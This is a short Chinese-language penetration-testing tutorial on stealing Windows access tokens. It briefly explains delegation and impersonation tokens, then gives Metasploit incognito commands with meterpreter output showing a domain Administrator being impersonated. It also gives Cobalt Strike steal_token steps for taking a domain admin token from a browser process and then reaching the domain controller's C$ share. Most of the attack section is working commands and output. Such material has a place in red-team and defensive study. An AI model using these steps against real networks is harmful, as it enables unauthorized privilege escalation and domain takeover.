内网渗透令牌窃取

令牌
令牌是描述进程或者线程安全上下文的一个对象。
不同的用户登录计算机后， 都会生成一个Access Token，这个Token在用户创建进程或者线程时会被使用，
不断的拷贝，这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Toke

访问令牌分为：
授权令牌（Delegation token）：交互式会话登陆（例：本地用户登陆、用户桌面等）
模拟令牌（Impersonation token）：非交互式登陆（例：net use 访问共享文件）
两种 token 只有在系统重启后才会清除；授权令牌在⽤户注销后，该令牌会变为模拟令牌依旧有效。

Metasploit进行令牌窃取
此工具需要提权为system权限才能查看所有的token

#加载模块
use incognito

#列出token
list_tokens -u

#窃取token
impersonate_token 'AA\Administrator'

meterpreter > impersonate_token 'AA\Administrator'
[+] Delegation token available
[+] Successfully impersonated user AA\Administrator
meterpreter > getuid
Server username: AA\Administrator

执行完命令后，通过以下命令返回之前的token
rev2self 
##或
drop_token

Cobalt strike实战窃取域管理员令牌
提权为system之后，查看进程，发现火狐浏览器是以域管理员身份运行，进行窃取。
beacon> steal_token 1260 窃取令牌
beacon> rev2self 恢复令牌

成功后，访问域控成功相当于提权为域管理员权限
dir\172.16.2.2\c$